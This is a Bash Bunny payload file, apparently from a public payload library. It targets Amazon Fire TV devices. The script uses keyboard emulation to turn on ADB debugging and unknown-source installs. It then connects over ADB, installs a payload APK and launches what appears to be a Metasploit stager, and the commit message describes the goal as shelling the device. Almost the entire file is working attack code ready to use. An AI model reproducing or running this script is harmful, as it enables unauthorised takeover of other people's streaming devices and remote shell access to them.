Files
bashbunny-payloads/payloads/library/fireytv/payload.txt
DemmSec f94fcc1b66 Added a Fireytv payload (#135)
* Created payload to shell an amazon fire tv

The payload performs keyboard emulation in order to enable ADB and unknown sources on the target FireTV. Once this is completed the payload then installs a payload.apk file via ADB and then runs it.

* Created readme
2017-04-07 15:18:34 +10:00

76 lines
1.3 KiB
Plaintext

# Title: Firey TV
# Author: DemmSec
# Version: 1.0
#
# Enables ADB and unknown sources on a target FireTV
# Then pushes a payload APK via ADB
#
# Requires android-tools-adb installed on the Bash Bunny
#
# Purple ............Running HID emulation, enabling ADB and unknown sources
# Blue Blinking ...............Running ADB command to push payload.apk
# Red Blinking.......FireTV failed to get an IP address from the Bash Bunny
# Green..............Finished
ATTACKMODE HID
LED R B 0
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q DOWNARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 200
Q RIGHTARROW
Q DELAY 500
Q ENTER
Q DELAY 500
Q DOWNARROW
Q DELAY 800
Q ENTER
Q DELAY 800
Q ENTER
Q DELAY 500
Q DOWNARROW
Q DELAY 500
Q DOWNARROW
Q DELAY 500
Q ENTER
Q DELAY 200
Q ENTER
Q DELAY 200
Q ESCAPE
Q DELAY 200
Q ESCAPE
Q DELAY 200
Q ESCAPE
Q DELAY 200
Q ESCAPE
Q DELAY 200
Q ESCAPE
ATTACKMODE ECM_ETHERNET
LED B 2000
source bunny_helpers.sh
if [ -z "${TARGET_IP}" ]; then
LED R 2000
exit 1
fi
adb connect ${TARGET_IP}
adb install /root/udisk/payloads/${SWITCH_POSITION}/payload.apk
adb shell "am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity"
LED G